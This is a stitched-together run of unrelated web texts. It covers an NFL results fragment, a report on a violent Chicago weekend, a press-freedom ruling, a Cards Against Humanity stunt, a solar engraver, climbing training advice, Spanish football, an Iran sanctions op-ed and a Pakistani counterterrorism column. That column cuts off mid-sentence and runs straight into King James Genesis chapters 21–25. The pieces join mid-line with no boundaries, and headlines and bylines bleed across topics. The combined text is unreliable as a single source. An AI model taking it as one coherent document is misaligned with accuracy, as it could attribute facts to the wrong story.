66,125 69–65–3 SF 2018 Sunday October 21 San Francisco 49ers 10–39 Los Angeles Rams Levi's Stadium 66,597 69–66–3 SF Sunday December 30 Los Angeles Rams 48–32 San Francisco 49ers Los Angeles Memorial Coliseum 72,161 69–67–3 SF
See also [ edit ]
References [ edit ]
General [ edit ]Chicago Riverwalk and Lawndale shootings part of violent, hot weekend
Six men were killed and at least 37 other people — including nine in Lawndale and two who had been arguing on the Chicago Riverwalk — were wounded in shootings across Chicago between Friday evening and Monday morning.
With temperatures pushing into the 90s, 30 people were shot in less than 9 hours from Saturday evening to Sunday morning. The weekend was more deadly than last weekend, when 30 people were shot, five of them fatally.
Nine people were shot about 3:15 a.m. Sunday in the Lawndale neighborhood on the Southwest Side, according to Chicago Police. They were gathered in the 3300 block of West Douglas when a black vehicle approached and people inside fired shots.
A 17-year-old boy was shot in the buttocks; another 17-year-old boy was shot in the hand; a 22-year-old man was shot in the ankle; a 23-year-old man was shot in the back; a 29-year-old man was shot in the hip; a 30-year-old man was shot in the lower leg; a 33-year-old woman was shot in the leg; and a 35-year-old man was shot in the leg, police said. All eight victims were taken to Mount Sinai Hospital, where their conditions were stabilized.
A ninth victim, a 26-year-old man, was shot in the leg and taken to Rush Oak Park Hospital, where his condition was stabilized.
A police source said several of the victims are documented gang members and the shooting appears to be gang-related.
The weekend’s latest fatal shooting happened about 5:10 p.m. Sunday in the Back of the Yards neighborhood on the South Side. Christian Rodriguez, 24, was walking in the 4700 block of South Winchester when a green-colored vehicle pulled up, and someone got out and shot him in the abdomen and right leg, according to police and the Cook County medical examiner’s office. Rodriguez, who lived in the West Lawn neighborhood on the Southwest Side, was taken to Stroger Hospital, where he was pronounced dead at 6:48 p.m.
At 5:07 a.m., another fatal shooting happened in Lawndale, less than a mile from the mass shooting. Someone in a white vehicle opened fire in the 1400 block of South Avers, striking 24-year-old Dontae Thomas in the abdomen. He was taken to Stroger Hospital, where he died at 7:05 a.m., according to police and the medical examiner’s office. He lived in the same neighborhood as the attack.
One man was killed in another Back of the Yards neighborhood shooting that left two others wounded at 3:13 a.m. Sunday. Ivan Gutierrez, 19, was standing on the sidewalk with two other men, ages 22 and 23, in the 5300 block of South Seeley when someone in a vehicle fired shots, striking them all. Gutierrez, who lived in the same neighborhood, was pronounced dead at the scene at 3:17 a.m., authorities said. The 22-year-old was taken in critical condition to Stroger Hospital, and the oldest man was taken to Mount Sinai Hospital, where his condition was stabilized.
Less than two hours earlier, 29-year-old Fredrick Vasquez was killed in a Humboldt Park neighborhood shooting on the West Side. He was standing on the sidewalk at 1:28 a.m. Sunday in the 1000 block of North Monticello when someone in a gray vehicle opened fire, striking him in the chest. Vasquez was taken to Norwegian American Hospital, where he was pronounced dead at 2:04 a.m., authorities said. He lived in the Logan Square neighborhood on the Northwest Side.
The weekend’s other two fatal shootings occurred on Friday.
About 6:45 p.m. that evening, 21-year-old Louis Chamness was killed in a Belmont Central neighborhood shooting on the Northwest Side. He was driving in the 5700 block of West Belden when people in a dark-colored car shot him in the chest. Chamness’ car then slammed into a parked car and flipped onto its side. He was taken to Loyola University Medical Center in Maywood, where he died at 7:28 p.m., authorities said. Chamness lived in the Belmont Gardens neighborhood.
Late Friday afternoon, a Naperville man was gunned down in the West Side Austin neighborhood. Romaine Elkins, 18, was standing outside about 5:15 p.m. in the 1500 block of North Linder when people in a dark-colored SUV opened fire in his direction and he was shot in the chest, authorities said. After the shooting, the SUV sped west on Le Moyne and crashed into another vehicle. Elkins was taken to Loyola University Medical Center, where he died at 5:52 p.m. A 71-year-old woman in the other vehicle suffered injuries in the crash, but was listed in good condition.
Two 16-year-old boys were critically wounded in a shooting about 7 p.m. Sunday near 31st Street Beach on the South Side. They were in fight with someone in the 3100 block of South Lake Shore Drive, when the suspect took out a gun and shot one of the boys in the neck and the other in the legs. Both boys were taken to Northwestern Memorial Hospital, where they were listed in critical condition.
In the Loop, two men were wounded in a shooting shortly after 2 a.m. Sunday on the Chicago Riverwalk. The men, ages 28 and 30, were involved in an argument on the riverwalk near Wacker and Dearborn when shots rang out, police said. The younger man was shot in the right leg, while the older man suffered a gunshot wound to the left foot.
They were both taken to Northwestern Memorial Hospital, where their conditions were stabilized. Witnesses at the busy intersection said they heard at least three gunshots. Chicago Police could be seen investigating along the Riverwalk, underneath the Dearborn Street Bridge.
At least 22 more people were wounded in shooting across the city between 5 p.m. Friday and 5 a.m. Monday. Follow city violence with the Chicago Sun-Times weekend shooting tracker.
The weekend violence almost matched last year’s totals over the same weekend, when 7 people were killed and at least 35 others were wounded in shootings between June 10 and June 13, 2016.Judge Andrew Napolitano says the New York Court of Appeals’ ruling on Fox News reporter Jana Winter is a “tremendous victory for freedom of speech.”
The highest state court in New York today ruled that Winter does not have to return to Colorado to testify about her sources for a story on the Aurora movie theater attacker James Holmes.
Judge Napolitano: Jana Winter Will 'Never Reveal Who Her Sources Are'
Napolitano said the New York Court of Appeals’ ruling “has firmly established the public policy of the state of New York as the most pro-First Amendment, pro-freedom of speech policy in the United States of America.”
“The state of New York basically said to Jana Winter and to all of our colleagues in the journalism industry, 'You can disregard a subpoena from a judge of another state if you are a New York journalist because the New York law will protect you,'” he said.
Click the video above to watch more of Napolitano’s analysis on America’s Newsroom.Cards Against Humanity is taking aim at President Donald Trump.
The company, known for its off-color card game, said it bought a piece of the border "to make it as time-consuming and expensive as possible for the wall to get built." One of President Trump's early campaign promises was to build a wall across the U.S.-Mexico border. The U.S. Customs and Border Protection started testing prototypes in October.
Cards Against Humanity is known for holiday stunts such as its 2016 "Holiday Hole," a giant hole dug in celebration of "how everything in America is going really well." While it's not clear where the land is located, the company said customers who buy a $15 holiday pack will receive "an illustrated map of the land, a certificate of our promise to fight the wall, some new cards and a few other surprises."
The promotion is limited to the first 150,000 customers, a threshold that was quickly reached. As of Wednesday morning, the $15 Cards Against Humanity "Saves America" pack was sold out.
"It will be fun, it will be weird and if you voted for Trump, you might want to sit this one out," the company notes on its website.
The government is being run by a toilet. We have no choice... we are going to save America and attempt to keep our brand relevant in 2017 Join in and for $15 we’ll send you six America-saving surprises this December: https://t.co/o1BFmokO9W — CardsAgainstHumanity (@CAH) November 14, 2017
The game company also said it hired a law firm "specializing in eminent domain to make it as time-consuming and expensive as possible for the wall to get built."
Have more questions? The vehemently anti-Trump FAQ tackles some of them. For those who want to cancel their order, the company replies, "We'd like to cancel the 2016 election, but neither of us is going to get what we want."
Asked, "What are you saving America from?," the company answered, "Injustice, lies, racism, the whole enchilada."
Cards Against Humanity was born out of a 2010 Kickstarter campaign that raised nearly 400 percent of its goal. Players try to outwit the others by playing a card with a word or phrase that pairs humorously with another card.
-- With reporting by CNETHave you ever needed an engraving machine that uses the focused rays of the sun, is powered off of a car battery and is the perfect accessory for Burning Man? If so, the Solar Draw is for you.
A recent project that popped up on Instructables, the Solar Draw is an attempt at creating a cheap laser cutter or CNC machine that can burn patterns into food or pieces of wood.
It uses a large Fresnel Lens aimed at a moving gantry. A piece of wood, or any target really, can then be moved with a small joystick to manually create a design.
The metal plate you see in the gif below is a kind of shutter designed to allow you to move the target without drawing unnecessary lines, as well as preventing fires from keeping the heat on for too long.
At the centre of this build is an Arduino-compatible board, and the whole system can apparently run off of a car battery for a week.
You can find a full walkthrough of how this was made on Instructables, along with the bill of materials and the code needed to run it.
Make sure you also watch the short video of the Solar Draw replicating the Burning Man logo and this collection of finished pieces of wood.by Mark Anderson
Performance-oriented climbers often ask me what to do with their time when facing a month or more of unsuitable outdoor climbing conditions. A good example is the climber who lives in the northeastern US and can’t climb through the dead of winter due to snowpack or extreme cold. On the other end of the spectrum, the summer heat stymies many in the southern part of the continent.
My standard disclaimer is that it’s personal: it really depends on your near-term and long-term goals, and your current level of motivation. If you’re psyched to train, you really want to eke every last bit of performance out of your body, and you’re willing to sacrifice other aspects of your life to do so, then the best bet is to complete a Bridge Cycle. This is a truncated version of a typical Rock Prodigy training cycle, tailored to span the gap between full-blown training cycles.
A Bridge Cycle could be as short as a month, or as long as several months. The distinctive element is that it essentially skips the Performance Phase, or at least minimizes its importance to the extent that any outdoor climbing is an afterthought, rather than the primary focus of the cycle. For example, let’s say it’s June and you have a big project looming for the fall. You’ve determined that in order to peak during optimal sending conditions in early November, you should begin your full fall cycle in mid-August. But what to do in the mean time?
If you’re like me, you might benefit the most from a break from climbing. I like to climb in cold weather, and it’s generally “too hot” for my taste in the summer. My strategy for bridging between the spring and fall seasons varies from year to year. Some years I select a relatively cool goal route, go all out as usual to train for it, and then “suffer” through the sub-optimal redpoint conditions. Some years I stop climbing completely, ride my bike instead, and focus on family and house projects. I find a long layoff helps stoke the flames of motivation for my next training cycle. Of course, I have a lot of miles under my belt, and even after an extended break I seem to be able to pick up right where I left off—physically, technically and mentally (after completing a full training cycle). Other climbers find an extended layoff makes them “rusty”, and the sabbatical negatively impacts their next full season.
This year I’m using a combination of several approaches. I began with a full bore spring season, which included working and sending several hard projects. Rather than ending the season when my peak ended (around the end of May), I’m continuing to climb easier and easier objectives as my fitness fades. I also started riding my bike and began some serious house projects around the 1of June. I will stop climbing in the middle of July, for a full two weeks of straight rest, and then resume training around August 1for my fall season.
There are many situations where an extended break doesn’t make sense and you would be better off with some form of training. Perhaps you are new to climbing and should keep your nose to the grindstone. Perhaps experience shows you’re best off maintaining momentum from one season to the next. Perhaps you are just plain psyched on training, there’s nothing you would rather do, and you can’t stand the thought of wasting an opportunity to get better.
How you spend the training phases will depend on your goals, strengths, and weaknesses. If you have any glaring weaknesses, they should be your first priority. A bridge cycle provides a fantastic opportunity to focus completely on addressing weaknesses because you have no specific near-term goal that demands attention. For example, if you find you struggle with a particular type of move—say, pulling the lip of a roof—you can spend this time training the physical, technical and mental aspects of these moves, including seeking out sub-limit routes to practice on.
Next consider the relative importance of any short and long term goals. Going back to the original example, let’s say your fall goal route is long and pumpy, but the individual moves are well within your ability. You may want to design your bridge cycle to improve your redpoint endurance, and so emphasize Base Fitness and Power Endurance training. Perhaps your fall goal route is short and bouldery, in which case emphasizing Strength and Power is the way to go.
For many, the near-term goal route is less significant than the desire for long term improvement. This could be because you haven’t identified a fall goal route yet, you have many goals for the fall that span the gamut of climbing styles (so focusing on one climbing style takes a backseat to general improvement), or maybe you’re “all-in” on the Time Value of Climbing Ability. If any of these apply to you, and you have no glaring weaknesses (dare to dream), I recommend focusing on Strength and Power, since these are the most difficult to attain and will benefit every aspect of your climbing.
An example of a Bridge Cycle emphasizing Strength and Power is shown below. It includes a few Base Fitness workouts to get you ready for hangboard training, a relatively full Strength Phase, and a brief Power Phase so you can realize a short payoff from your training (in the form of a few sessions of Limit Bouldering–these can be done indoors or out). It clearly favors strength over power for a number of reasons (it’s more basic, more universal, more cumulative and easier to train, to name a few). If you have more time to work with, expand the Strength Phase, then Power Phase, then Base Fitness Phase accordingly. For most the PE Phase would be the last priority since there is no Performance Phase planned.
For some great discussions and first-hand experience with planning Bridge Cycles, check out these threads on the RCTM Forum (more or less in order of relevance):
Finally, if you do find yourself training in the mid-summer heat, you might benefit from some of these tips. Good luck and happy training–fall is just around the corner!
AdvertisementsLa Roja's head coach announces that he has no intention of leaving his position despite his side's dismal World Cup showing, promising to stay at the helm for Euro 2016
Vicente del Bosque has broken his silence on his future, revealing that he intends to continue as Spain boss until Euro 2016.
La Roja endured a torrid defence of the World Cup they secured in South Africa in 2010, exiting the tournament in Brazil at the group stages after damaging 5-1 and 2-0 losses to the Netherlands and Chile respectively.
Despite the underwhelming performances that his team delivered last month, Del Bosque insists that he has no desire to step down and enjoys the continued backing of the Spanish FA.
"We can do a lot better and get back on the right lines," the 63-year-old told reporters in Spain.
"We will try to defend our title at the next European Championship. A drastic revolution is not necessary, instead we must continue on the same path with some minor changes."
The former Real Madrid head coach replaced Luis Aragones after Spain's Euro 2008 win, guiding them to success in both Euro 2012 and the 2010 World Cup.
"I have been in contact with the federation during this period of reflection and they have considered that the previous six years were more important than two bad matches," said Del Bosque, whose contract runs until 2016.
"The federation is positive and they value my work. We are feeling strong and we are going to continue with our work as before.
"We are planning the games ahead knowing that we will need to make some changes to the team as we have done in the past."European foreign ministers have approved an oil embargo against Iran. The sanctions ban any new oil contracts with Iran, while existing contracts will be honored until July 1st. While this might seem like a good way to way to stall Iran’s nuclear ambitions, it will only serve to unite the Iranian people and worsen the already fragile diplomatic relations the west has with Iran.
The European Union currently buys a significant amount of oil from Iran, about 20% of total exports. Iran’s economy is already suffering, with rising house and food prices. In order to avoid a worsening economic situation, the Iranians will have to find other buyers for 20% of their oil exports. China, Japan, and India are already major buyers of Iranian oil, and it is possible that exports to these countries could increase. If this does happen some of Europe’s major economic competitors will be benefiting from the sanctions while the negative effect on Iran’s economy will be minimized. This is the best outcome.
There is a worse possible outcome, that the sanctions do have a negative impact on the already struggling Iranian economy. The Iranian government can continue making the argument, with some legitimacy, that much of Iran’s economic woes are due to overbearing western economic measures. While it is true that there is an oppressed political opposition in Iran, sanctions serve to unite the country behind the regime the sanctions are aiming to harm.
Relations with Iran are getting measurably worse. In the last six months the UK’s embassy has been stormed, a former U.S. marine has been sentenced to death, a British frigate and American destroyers have moved into the Arabian Gulf, and Iran has confirmed uranium enrichment. What is clear is that past sanctions have not managed to dissuade Iran of its nuclear ambitions or improved diplomatic relations.
Bastiat’s maxim, “When goods don’t cross borders, armies will” is being slowly confirmed in Iran. The best chance the west has in minimizing the threat of a nuclear Iran is to end the economic barriers that prohibit free trade while taking steps to ensure that diplomatic efforts to prevent an Iranian nuclear weapon resume. Unfortunately, government officials in Europe seem incapable of considering either of these to options as legitimate courses of action.The writer is an author and journalist.
While the latest wave of terrorist attacks has provoked an intense militaristic response from the state, there are questions about the limitations of the use of kinetic force alone in dealing with the threat.
Hours after the Sehwan shrine attack, security forces claimed to have killed dozens of suspected terrorists in a countrywide sweep. Hundreds more have been arrested since the launch of a new counterterrorism campaign branded as Raddul Fasaad or ‘elimination of discord’. The military action has reportedly been extended to the alleged terrorist sanctuaries across the Afghan border. This punishing response is unprecedented though the country had earlier witnessed bloodier spells of terrorist assaults.
While the security officials describe it as the next phase of the ongoing counterterrorism campaign, there are some serious flaws in this purely militarist approach. For sure, the state must use force whenever it is necessary. It not only raises the cost for militants, but it is also a way to reassure an alarmed public that something is being done for their security.
Examine: Avenging terror: The efficacy of Pakistan's options
But the mere use of force is hardly effective unless accompanied by non-kinetic measures. The threat from violent extremism cannot be successfully challenged militarily. There is a difference between fighting insurgency and combating terrorism. The real struggle is to win over minds, and we are hardly addressing that. This, perhaps, has been the reason for our failure to implement the National Action Plan. There is still no sign of carrying out those long-delayed reforms that are extremely critical for containing the rising extremism being witnessed in the country.
Yet again, the civilian government is reluctant to take the ownership of the operation. As in the past, the announcement of the latest campaign came from GHQ. The prime minister did not even bother to take parliament into confidence or reassure the public that the government is fully resolved to confront the challenge. As a result, there is no clarity over the objectives of this new round of the crackdown.
It is more important to fight against the ideology that produces terrorists.
Even for the sake of symbolism, the civilian leadership must be seen as taking effective charge of the battle against terrorism. What is most intriguing is the absence from the scene of the federal interior minister who is supposed to lead the operation. He did appear in public lately — not to talk about the operation but to engage in an ugly blame game with the Sindh government over who was responsible for the lapse in security at the shrine. Is it fear or political expediency that is causing the civilian leadership to take a back seat? Perhaps it is a mix of both.
After much delay, the Punjab government has finally agreed to expand the operation to the province. But there is still no clarity on whether the crackdown is across the board or limited to a few sectarian outfits. Rana Sanaullah, the provincial home minister, recently declared that no local group has been involved in the terrorist attacks, thus adding to the confusion. One wonders whether it reflects a state of denial or if it is a deliberate attempt to protect some local extremist groups.
What is most dangerous is the reported profiling of Pakhtuns in the province. According to some media reports, markets and business associations in Lahore have been instructed to provide information |
thou shalt do unto me, and to the land wherein thou hast sojourned.
21:24 And Abraham said, I will swear.
21:25 And Abraham reproved Abimelech because of a well of water, which Abimelech's servants had violently taken away.
21:26 And Abimelech said, I wot not who hath done this thing; neither didst thou tell me, neither yet heard I of it, but to day.
21:27 And Abraham took sheep and oxen, and gave them unto Abimelech; and both of them made a covenant.
21:28 And Abraham set seven ewe lambs of the flock by themselves.
21:29 And Abimelech said unto Abraham, What mean these seven ewe lambs which thou hast set by themselves? 21:30 And he said, For these seven ewe lambs shalt thou take of my hand, that they may be a witness unto me, that I have digged this well.
21:31 Wherefore he called that place Beersheba; because there they sware both of them.
21:32 Thus they made a covenant at Beersheba: then Abimelech rose up, and Phichol the chief captain of his host, and they returned into the land of the Philistines.
21:33 And Abraham planted a grove in Beersheba, and called there on the name of the LORD, the everlasting God.
21:34 And Abraham sojourned in the Philistines' land many days.
22:1 And it came to pass after these things, that God did tempt Abraham, and said unto him, Abraham: and he said, Behold, here I am.
22:2 And he said, Take now thy son, thine only son Isaac, whom thou lovest, and get thee into the land of Moriah; and offer him there for a burnt offering upon one of the mountains which I will tell thee of.
22:3 And Abraham rose up early in the morning, and saddled his ass, and took two of his young men with him, and Isaac his son, and clave the wood for the burnt offering, and rose up, and went unto the place of which God had told him.
22:4 Then on the third day Abraham lifted up his eyes, and saw the place afar off.
22:5 And Abraham said unto his young men, Abide ye here with the ass; and I and the lad will go yonder and worship, and come again to you.
22:6 And Abraham took the wood of the burnt offering, and laid it upon Isaac his son; and he took the fire in his hand, and a knife; and they went both of them together.
22:7 And Isaac spake unto Abraham his father, and said, My father: and he said, Here am I, my son. And he said, Behold the fire and the wood: but where is the lamb for a burnt offering? 22:8 And Abraham said, My son, God will provide himself a lamb for a burnt offering: so they went both of them together.
22:9 And they came to the place which God had told him of; and Abraham built an altar there, and laid the wood in order, and bound Isaac his son, and laid him on the altar upon the wood.
22:10 And Abraham stretched forth his hand, and took the knife to slay his son.
22:11 And the angel of the LORD called unto him out of heaven, and said, Abraham, Abraham: and he said, Here am I.
22:12 And he said, Lay not thine hand upon the lad, neither do thou any thing unto him: for now I know that thou fearest God, seeing thou hast not withheld thy son, thine only son from me.
22:13 And Abraham lifted up his eyes, and looked, and behold behind him a ram caught in a thicket by his horns: and Abraham went and took the ram, and offered him up for a burnt offering in the stead of his son.
22:14 And Abraham called the name of that place Jehovahjireh: as it is said to this day, In the mount of the LORD it shall be seen.
22:15 And the angel of the LORD called unto Abraham out of heaven the second time, 22:16 And said, By myself have I sworn, saith the LORD, for because thou hast done this thing, and hast not withheld thy son, thine only son: 22:17 That in blessing I will bless thee, and in multiplying I will multiply thy seed as the stars of the heaven, and as the sand which is upon the sea shore; and thy seed shall possess the gate of his enemies; 22:18 And in thy seed shall all the nations of the earth be blessed; because thou hast obeyed my voice.
22:19 So Abraham returned unto his young men, and they rose up and went together to Beersheba; and Abraham dwelt at Beersheba.
22:20 And it came to pass after these things, that it was told Abraham, saying, Behold, Milcah, she hath also born children unto thy brother Nahor; 22:21 Huz his firstborn, and Buz his brother, and Kemuel the father of Aram, 22:22 And Chesed, and Hazo, and Pildash, and Jidlaph, and Bethuel.
22:23 And Bethuel begat Rebekah: these eight Milcah did bear to Nahor, Abraham's brother.
22:24 And his concubine, whose name was Reumah, she bare also Tebah, and Gaham, and Thahash, and Maachah.
23:1 And Sarah was an hundred and seven and twenty years old: these were the years of the life of Sarah.
23:2 And Sarah died in Kirjatharba; the same is Hebron in the land of Canaan: and Abraham came to mourn for Sarah, and to weep for her.
23:3 And Abraham stood up from before his dead, and spake unto the sons of Heth, saying, 23:4 I am a stranger and a sojourner with you: give me a possession of a buryingplace with you, that I may bury my dead out of my sight.
23:5 And the children of Heth answered Abraham, saying unto him, 23:6 Hear us, my lord: thou art a mighty prince among us: in the choice of our sepulchres bury thy dead; none of us shall withhold from thee his sepulchre, but that thou mayest bury thy dead.
23:7 And Abraham stood up, and bowed himself to the people of the land, even to the children of Heth.
23:8 And he communed with them, saying, If it be your mind that I should bury my dead out of my sight; hear me, and intreat for me to Ephron the son of Zohar, 23:9 That he may give me the cave of Machpelah, which he hath, which is in the end of his field; for as much money as it is worth he shall give it me for a possession of a buryingplace amongst you.
23:10 And Ephron dwelt among the children of Heth: and Ephron the Hittite answered Abraham in the audience of the children of Heth, even of all that went in at the gate of his city, saying, 23:11 Nay, my lord, hear me: the field give I thee, and the cave that is therein, I give it thee; in the presence of the sons of my people give I it thee: bury thy dead.
23:12 And Abraham bowed down himself before the people of the land.
23:13 And he spake unto Ephron in the audience of the people of the land, saying, But if thou wilt give it, I pray thee, hear me: I will give thee money for the field; take it of me, and I will bury my dead there.
23:14 And Ephron answered Abraham, saying unto him, 23:15 My lord, hearken unto me: the land is worth four hundred shekels of silver; what is that betwixt me and thee? bury therefore thy dead.
23:16 And Abraham hearkened unto Ephron; and Abraham weighed to Ephron the silver, which he had named in the audience of the sons of Heth, four hundred shekels of silver, current money with the merchant.
23:17 And the field of Ephron which was in Machpelah, which was before Mamre, the field, and the cave which was therein, and all the trees that were in the field, that were in all the borders round about, were made sure 23:18 Unto Abraham for a possession in the presence of the children of Heth, before all that went in at the gate of his city.
23:19 And after this, Abraham buried Sarah his wife in the cave of the field of Machpelah before Mamre: the same is Hebron in the land of Canaan.
23:20 And the field, and the cave that is therein, were made sure unto Abraham for a possession of a buryingplace by the sons of Heth.
24:1 And Abraham was old, and well stricken in age: and the LORD had blessed Abraham in all things.
24:2 And Abraham said unto his eldest servant of his house, that ruled over all that he had, Put, I pray thee, thy hand under my thigh: 24:3 And I will make thee swear by the LORD, the God of heaven, and the God of the earth, that thou shalt not take a wife unto my son of the daughters of the Canaanites, among whom I dwell: 24:4 But thou shalt go unto my country, and to my kindred, and take a wife unto my son Isaac.
24:5 And the servant said unto him, Peradventure the woman will not be willing to follow me unto this land: must I needs bring thy son again unto the land from whence thou camest? 24:6 And Abraham said unto him, Beware thou that thou bring not my son thither again.
24:7 The LORD God of heaven, which took me from my father's house, and from the land of my kindred, and which spake unto me, and that sware unto me, saying, Unto thy seed will I give this land; he shall send his angel before thee, and thou shalt take a wife unto my son from thence.
24:8 And if the woman will not be willing to follow thee, then thou shalt be clear from this my oath: only bring not my son thither again.
24:9 And the servant put his hand under the thigh of Abraham his master, and sware to him concerning that matter.
24:10 And the servant took ten camels of the camels of his master, and departed; for all the goods of his master were in his hand: and he arose, and went to Mesopotamia, unto the city of Nahor.
24:11 And he made his camels to kneel down without the city by a well of water at the time of the evening, even the time that women go out to draw water.
24:12 And he said O LORD God of my master Abraham, I pray thee, send me good speed this day, and shew kindness unto my master Abraham.
24:13 Behold, I stand here by the well of water; and the daughters of the men of the city come out to draw water: 24:14 And let it come to pass, that the damsel to whom I shall say, Let down thy pitcher, I pray thee, that I may drink; and she shall say, Drink, and I will give thy camels drink also: let the same be she that thou hast appointed for thy servant Isaac; and thereby shall I know that thou hast shewed kindness unto my master.
24:15 And it came to pass, before he had done speaking, that, behold, Rebekah came out, who was born to Bethuel, son of Milcah, the wife of Nahor, Abraham's brother, with her pitcher upon her shoulder.
24:16 And the damsel was very fair to look upon, a virgin, neither had any man known her: and she went down to the well, and filled her pitcher, and came up.
24:17 And the servant ran to meet her, and said, Let me, I pray thee, drink a little water of thy pitcher.
24:18 And she said, Drink, my lord: and she hasted, and let down her pitcher upon her hand, and gave him drink.
24:19 And when she had done giving him drink, she said, I will draw water for thy camels also, until they have done drinking.
24:20 And she hasted, and emptied her pitcher into the trough, and ran again unto the well to draw water, and drew for all his camels.
24:21 And the man wondering at her held his peace, to wit whether the LORD had made his journey prosperous or not.
24:22 And it came to pass, as the camels had done drinking, that the man took a golden earring of half a shekel weight, and two bracelets for her hands of ten shekels weight of gold; 24:23 And said, Whose daughter art thou? tell me, I pray thee: is there room in thy father's house for us to lodge in? 24:24 And she said unto him, I am the daughter of Bethuel the son of Milcah, which she bare unto Nahor.
24:25 She said moreover unto him, We have both straw and provender enough, and room to lodge in.
24:26 And the man bowed down his head, and worshipped the LORD.
24:27 And he said, Blessed be the LORD God of my master Abraham, who hath not left destitute my master of his mercy and his truth: I being in the way, the LORD led me to the house of my master's brethren.
24:28 And the damsel ran, and told them of her mother's house these things.
24:29 And Rebekah had a brother, and his name was Laban: and Laban ran out unto the man, unto the well.
24:30 And it came to pass, when he saw the earring and bracelets upon his sister's hands, and when he heard the words of Rebekah his sister, saying, Thus spake the man unto me; that he came unto the man; and, behold, he stood by the camels at the well.
24:31 And he said, Come in, thou blessed of the LORD; wherefore standest thou without? for I have prepared the house, and room for the camels.
24:32 And the man came into the house: and he ungirded his camels, and gave straw and provender for the camels, and water to wash his feet, and the men's feet that were with him.
24:33 And there was set meat before him to eat: but he said, I will not eat, until I have told mine errand. And he said, Speak on.
24:34 And he said, I am Abraham's servant.
24:35 And the LORD hath blessed my master greatly; and he is become great: and he hath given him flocks, and herds, and silver, and gold, and menservants, and maidservants, and camels, and asses.
24:36 And Sarah my master's wife bare a son to my master when she was old: and unto him hath he given all that he hath.
24:37 And my master made me swear, saying, Thou shalt not take a wife to my son of the daughters of the Canaanites, in whose land I dwell: 24:38 But thou shalt go unto my father's house, and to my kindred, and take a wife unto my son.
24:39 And I said unto my master, Peradventure the woman will not follow me.
24:40 And he said unto me, The LORD, before whom I walk, will send his angel with thee, and prosper thy way; and thou shalt take a wife for my son of my kindred, and of my father's house: 24:41 Then shalt thou be clear from this my oath, when thou comest to my kindred; and if they give not thee one, thou shalt be clear from my oath.
24:42 And I came this day unto the well, and said, O LORD God of my master Abraham, if now thou do prosper my way which I go: 24:43 Behold, I stand by the well of water; and it shall come to pass, that when the virgin cometh forth to draw water, and I say to her, Give me, I pray thee, a little water of thy pitcher to drink; 24:44 And she say to me, Both drink thou, and I will also draw for thy camels: let the same be the woman whom the LORD hath appointed out for my master's son.
24:45 And before I had done speaking in mine heart, behold, Rebekah came forth with her pitcher on her shoulder; and she went down unto the well, and drew water: and I said unto her, Let me drink, I pray thee.
24:46 And she made haste, and let down her pitcher from her shoulder, and said, Drink, and I will give thy camels drink also: so I drank, and she made the camels drink also.
24:47 And I asked her, and said, Whose daughter art thou? And she said, the daughter of Bethuel, Nahor's son, whom Milcah bare unto him: and I put the earring upon her face, and the bracelets upon her hands.
24:48 And I bowed down my head, and worshipped the LORD, and blessed the LORD God of my master Abraham, which had led me in the right way to take my master's brother's daughter unto his son.
24:49 And now if ye will deal kindly and truly with my master, tell me: and if not, tell me; that I may turn to the right hand, or to the left.
24:50 Then Laban and Bethuel answered and said, The thing proceedeth from the LORD: we cannot speak unto thee bad or good.
24:51 Behold, Rebekah is before thee, take her, and go, and let her be thy master's son's wife, as the LORD hath spoken.
24:52 And it came to pass, that, when Abraham's servant heard their words, he worshipped the LORD, bowing himself to the earth.
24:53 And the servant brought forth jewels of silver, and jewels of gold, and raiment, and gave them to Rebekah: he gave also to her brother and to her mother precious things.
24:54 And they did eat and drink, he and the men that were with him, and tarried all night; and they rose up in the morning, and he said, Send me away unto my master.
24:55 And her brother and her mother said, Let the damsel abide with us a few days, at the least ten; after that she shall go.
24:56 And he said unto them, Hinder me not, seeing the LORD hath prospered my way; send me away that I may go to my master.
24:57 And they said, We will call the damsel, and enquire at her mouth.
24:58 And they called Rebekah, and said unto her, Wilt thou go with this man? And she said, I will go.
24:59 And they sent away Rebekah their sister, and her nurse, and Abraham's servant, and his men.
24:60 And they blessed Rebekah, and said unto her, Thou art our sister, be thou the mother of thousands of millions, and let thy seed possess the gate of those which hate them.
24:61 And Rebekah arose, and her damsels, and they rode upon the camels, and followed the man: and the servant took Rebekah, and went his way.
24:62 And Isaac came from the way of the well Lahairoi; for he dwelt in the south country.
24:63 And Isaac went out to meditate in the field at the eventide: and he lifted up his eyes, and saw, and, behold, the camels were coming.
24:64 And Rebekah lifted up her eyes, and when she saw Isaac, she lighted off the camel.
24:65 For she had said unto the servant, What man is this that walketh in the field to meet us? And the servant had said, It is my master: therefore she took a vail, and covered herself.
24:66 And the servant told Isaac all things that he had done.
24:67 And Isaac brought her into his mother Sarah's tent, and took Rebekah, and she became his wife; and he loved her: and Isaac was comforted after his mother's death.
25:1 Then again Abraham took a wife, and her name was Keturah.
25:2 And she bare him Zimran, and Jokshan, and Medan, and Midian, and Ishbak, and Shuah.
25:3 And Jokshan begat Sheba, and Dedan. And the sons of Dedan were Asshurim, and Letushim, and Leummim.
25:4 And the sons of Midian; Ephah, and Epher, and Hanoch, and Abidah, and Eldaah. All these were the children of Keturah.
25:5 And Abraham gave all that he had unto Isaac.
25:6 But unto the sons of the concubines, which Abraham had, Abraham gave gifts, and sent them away from Isaac his son, while he yet lived, eastward, unto the east country.
25:7 And these are the days of the years of Abraham's life which he lived, an hundred threescore and fifteen years.
25:8 Then Abraham gave up the ghost, and died in a good old age, an old man, and full of years; and was gathered to his people.
25:9 And his sons Isaac and Ishmael buried him in the cave of Machpelah, in the field of Ephron the son of Zohar the Hittite, which is before Mamre; 25:10 The field which Abraham purchased of the sons of Heth: there was Abraham buried, and Sarah his wife.
25:11 And it came to pass after the death of Abraham, that God blessed his son Isaac; and Isaac dwelt by the well Lahairoi.
25:12 Now these are the generations of Ishmael, Abraham's son, whom Hagar the Egyptian, Sarah's handmaid, bare unto Abraham: 25:13 And these are the names of the sons of Ishmael, by their names, according to their generations: the firstborn of Ishmael, Nebajoth; and Kedar, and Adbeel, and Mibsam, 25:14 And Mishma, and Dumah, and Massa, 25:15 Hadar, and Tema, Jetur, Naphish, and Kedemah: 25:16 These are the sons of Ishmael, and these are their names, by their towns, and by their castles; twelve princes according to their nations.
25:17 And these are the years of the life of Ishmael, an hundred and thirty and seven years: and he gave up the ghost and died; and was gathered unto his people.
25:18 And they dwelt from Havilah unto Shur, that is before Egypt, as thou goest toward Assyria: and he died in the presence of all his brethren.
25:19 And these are the generations of Isaac, Abraham's son: Abraham begat Isaac: 25:20 And Isaac was forty years old when he took Rebekah to wife, the daughter of Bethuel the Syrian of Padanaram, the sister to Laban the Syrian.
